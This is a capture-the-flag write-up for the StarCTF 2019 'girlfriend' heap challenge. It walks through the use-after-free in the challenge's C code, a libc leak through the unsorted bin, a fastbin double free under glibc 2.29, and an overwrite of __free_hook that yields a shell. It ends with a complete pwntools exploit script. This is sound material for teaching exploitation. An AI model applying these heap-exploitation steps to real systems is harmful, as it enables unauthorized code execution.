---
description: >-
  I long for love, but also like single life. But it's a little difficult to
  find a girlfriend by playing CTF.
---

# StarCTF 2019: girlfriend

## TL;DR

> Classic LIBC leak via Unsorted Bins' read primitive into Fastbins' Double Free write primitive to achieve code execution by overwriting `__free_hook`.

## Challenge Overview

The binary presents a classic heap challenge menu with options to allocate, free, and view chunk contents.

<figure><img src="https://80158427-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FkoydBBkDRRSxCLl1Wpgr%2Fuploads%2F0pI7YdzBpZY6SjzBNM54%2Fimage.png?alt=media&#x26;token=8dc0f7e4-868e-417a-afae-08fc0e699678" alt=""><figcaption></figcaption></figure>

Option 3 isn’t implemented, so there’s no direct way to modify the content of an allocated chunk.

```c
void editinfo(){
     puts("Programmer is tired, delete it and add a new info.");
}
```

The interesting twist is that the allocation size is controllable, and hence there is more flexibility as to what kinds of free lists we want our chunk to end up in after free-ing.

```c
typedef struct Girl{
    char *name;
    int name_size;
    char phone[12];
} girl;

#define poollength 100
girl *pool[poollength];
int length = 0;

void addinfo(){
    if(length>poollength){
        puts("Enough!");
    }
    pool[length] = (girl*)malloc(sizeof(girl));
    puts("Please input the size of girl's name");
    int size;
    scanf("%d",&size);   // <----- Controllable size
    pool[length]->name_size = size;
    pool[length]->name = (char*)malloc(size);

    puts("please inpute her name:");
    read(0,pool[length]->name,size);
    puts("please input her call:");
    read(0,pool[length]->phone,12);
    pool[length]->phone[11] = '\x00';
    puts("Done!");
    length++;
    return;
}
```

When Option 4 is called, the `name` field  of the struct `Girl` is freed, but the pointer to the actual structure itself stays intact, which means we have a Use-After Free scenario here.

```c
void call_her(){
    puts("Be brave,speak out your love!");
    puts("");
    puts("Please input the index:");
    int index;
    scanf("%d",&index);
    if(index<0 || index>99)
        exit(0);
    if(pool[index]){
      free(pool[index]->name);
    }
    srand((unsigned)time(0));
    int ran_num=rand() % 10;
    if(ran_num<2)
       puts("Now she is your girl friend!");
    else
       puts("Oh, you have been refused.");
    puts("Done!");
    return;
}
```

The provided LIBC version is 2.29, so there are double-free protections built in that we need to consider.

<figure><img src="https://80158427-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FkoydBBkDRRSxCLl1Wpgr%2Fuploads%2FA4ttPtW2nEoEDYYtOn7k%2Fimage.png?alt=media&#x26;token=96d345f6-a4be-4f7f-9dcd-6f30e8548088" alt=""><figcaption></figcaption></figure>

## Stage 1: LIBC Leak via Unsorted Bins

A common technique to get a libc leak is to free a big chunk (>0x400 bytes) so it gets put into the unsorted bin. The unsorted bin is a doubly linked list, and its head is stored in the libc's data section.&#x20;

When we free a chunk into the unsorted bin for the first time, its forward pointer then points into the libc, at a known offset. If we can read this pointer, we leak the base address of libc.

Conveniently, we are able to control the allocation size, which means we can force the chunk to end up in unsorted bin after free-ing.

```python
# LIBC leak via unsorted bin
add(0x1000, b"AAAA", b"0123") # 0
add(0x1000, b"AAAA", b"0123") # 1
delete(0)
delete(1)
show(0)
```

In GDB, we can confirm that there is a LIBC pointer of `main_arena+96` in the unsorted bin.

<figure><img src="https://80158427-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FkoydBBkDRRSxCLl1Wpgr%2Fuploads%2FpUAHMpY9BLTjKdrR9U9f%2Fimage.png?alt=media&#x26;token=fcafd9dd-9939-44f4-8082-aaabea588c33" alt=""><figcaption></figcaption></figure>

We can then calculate the offset using `main_area` and it's delta value of `0x96`.

```python
leak = u64(r.recv(6).ljust(8, b'\x00'))
info("Leak: %#x", leak)
libc.address = leak - 0x3b1ca0 # leak - main arena - delta (0x96)
info("LIBC Base Address: %#x", libc.address)
```

## Stage 2: Double Free

After leaking the LIBC, we want to fill up the tcache entirely so that we can perform double-free on fastbins instead to avoid the double-free protections.&#x20;

```python
# Fill up 7 tcache + 2 fastbins
for i in range(9): # 2 - 10
    add(0x68, b"BBBB", b"4567")
for i in range(2, 9):
    delete(i)

# Double free in fastbins
delete(9)
delete(10)
delete(9)
```

In GDB, the fastbin free list now shows the same address appearing twice, confirming that the double-free succeeded.

<figure><img src="https://80158427-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FkoydBBkDRRSxCLl1Wpgr%2Fuploads%2FnJXI0Wk3yzToXBCGtjfy%2Fimage.png?alt=media&#x26;token=9bf13467-fc91-46b9-bde4-c0094b119313" alt=""><figcaption></figcaption></figure>

Before performing the arbitrary write, we need to first use the allocator's first-fit behaviour to re-allocate chunks from tcache.

```python
# First fit, re-allocate chunks from tcache
for i in range(7):
    add(0x68, b"CCCC", b"0000") # 11 - 17
```

## Stage 3: Code Execution

According to this [article](https://one2bla.me/The-dark-arts/Common-vulnerabilities/fastbin-dup), there are a couple of interesting targets that we can consider overwriting, one of which is `__free_hook`, which only works on GLIBC <= 2.33.

When `__free_hook` is executed, the argument to `free()` will be passed to `system()`. If we can allocate a chunk and place the string `/bin/sh` in it, calling `free` on that chunk will effectively call `system("/bin/sh")` to get a shell.

```python
payload = libc.sym['__free_hook'] - 0x8
add(0x68, p64(payload), b"0000") # 18
add(0x68, b"DDDD", b"0000") # 19
add(0x68, b"EEEE", b"0000") # 20

payload = b'A'*0x8 + p64(libc.sym["system"])
add(0x68, payload, b"0000") # 21

# Write /bin/sh to name field
add(0x18, "/bin/sh\x00", b"0000") # 22
# free(/bin/sh) is now system(/bin/sh)
delete(22)
```

## Solution

{% code title="solve.py" %}
```python
#!/usr/bin/env python3

from pwn import *
import warnings 

exe = ELF("./chall_patched")
libc = ELF("./libc-2.29.so")
ld = ELF("./ld-2.29.so")

warnings.filterwarnings("ignore",category=BytesWarning) 
context.binary = exe
context.log_level="info"

def conn():
    if args.REMOTE:
        r = remote("addr", 1337)
    else:
        r = process([exe.path])
        if args.DEBUG:
            gdb.attach(r)
    return r

def add(size, name='', phone=''):
    r.sendlineafter("choice:",'1')
    r.sendlineafter("Please input the size of girl's name\n",str(size))
    r.sendlineafter("please inpute her name:\n", name)
    r.sendlineafter("please input her call:\n", phone)
    r.recvuntil("Done!\n")

def show(index):
    r.sendlineafter("choice:",'2')
    r.sendlineafter("Please input the index:\n",str(index))
    r.recvuntil('name:\n')

def delete(index):
    r.sendlineafter("choice:",'4')
    r.sendlineafter("Please input the index:\n",str(index))

if __name__ == "__main__":
    r = conn()

    # LIBC leak via unsorted bin
    add(0x1000, b"AAAA", b"0123") # 0
    add(0x1000, b"AAAA", b"0123") # 1
    delete(0)
    delete(1)
    show(0)

    leak = u64(r.recv(6).ljust(8, b'\x00'))
    info("Leak: %#x", leak)
    libc.address = leak - 0x3b1ca0
    info("LIBC Base Address: %#x", libc.address)

    # Fill up 7 tcache + 2 fastbins
    for i in range(9): # 2 - 10
        add(0x68, b"BBBB", b"4567")
    for i in range(2, 9):
        delete(i)

    # Double free in fastbins
    delete(9)
    delete(10)
    delete(9)

    # First fit, re-allocate chunks from tcache
    for i in range(7):
        add(0x68, b"CCCC", b"0000") # 11 - 17

    # Start poisoning

    # Our target arbitrary write address
    info("Target: %#x", libc.sym['__free_hook'])
    # But since the target always ends with 8, we have to offset it to ensure it ends with 0
    info("Writing: %#x", libc.sym['__free_hook'] - 0x8)

    payload = libc.sym['__free_hook'] - 0x8
    add(0x68, p64(payload), b"0000") # 18
    add(0x68, b"DDDD", b"0000") # 19
    add(0x68, b"EEEE", b"0000") # 20

    payload = b'A'*0x8 + p64(libc.sym["system"])
    add(0x68, payload, b"0000") # 21

    # Write /bin/sh to name field
    add(0x18, "/bin/sh\x00", b"0000") # 22
    # free(/bin/sh) is now system(/bin/sh)
    delete(22)

    r.interactive()
```
{% endcode %}

<figure><img src="https://80158427-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FkoydBBkDRRSxCLl1Wpgr%2Fuploads%2FsKvhNTyieWMapEQRZ53F%2Fimage.png?alt=media&#x26;token=5f55aba4-a732-4379-91e7-1d8f566756a1" alt=""><figcaption></figcaption></figure>
